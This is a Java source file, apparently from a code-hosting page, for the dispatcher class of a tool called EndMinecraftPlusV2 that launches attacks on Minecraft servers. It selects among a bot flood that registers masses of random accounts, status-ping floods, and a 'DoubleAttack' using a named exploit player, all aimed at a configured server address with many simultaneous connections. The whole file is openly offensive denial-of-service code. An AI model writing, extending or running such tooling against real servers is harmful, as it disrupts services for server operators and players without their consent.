77 lines
3.8 KiB
Java
77 lines
3.8 KiB
Java
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
|
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods.*;
|
|
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
|
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
|
|
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForgeMOTD;
|
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
|
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
|
|
|
import java.util.Arrays;
|
|
import java.util.HashMap;
|
|
import java.util.Map;
|
|
import java.util.Random;
|
|
|
|
public class AttackManager {
|
|
public static void doAttack() {
|
|
LogUtil.emptyLog();
|
|
|
|
switch (ConfigUtil.AttackMethod) {
|
|
case 1:
|
|
// BotAttack
|
|
DataUtil.loadData();
|
|
if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
|
|
for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
|
|
DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
|
|
}
|
|
}
|
|
|
|
Map<String, String> modList = new HashMap<>();
|
|
|
|
if (!MCForge.isAfterVersion1_13()) {
|
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
|
|
modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
|
|
}
|
|
|
|
BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
|
botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
|
|
botAttack.start();
|
|
break;
|
|
case 2:
|
|
// MotdAttack
|
|
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
|
motdAttack.start();
|
|
break;
|
|
case 3:
|
|
// MotdAttackP
|
|
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
|
motdAttackP.start();
|
|
break;
|
|
case 4:
|
|
// DoubleAttack
|
|
Map<String, String> doubleModList = new HashMap<>();
|
|
|
|
if (!MCForge.isAfterVersion1_13()) {
|
|
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
|
|
doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
|
LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
|
|
}
|
|
|
|
DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
|
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
|
|
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
|
|
attack.start();
|
|
break;
|
|
default:
|
|
EndMinecraftPlusV2.Exit();
|
|
}
|
|
}
|
|
|
|
public static String getRandomUser() {
|
|
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
|
|
}
|
|
}
|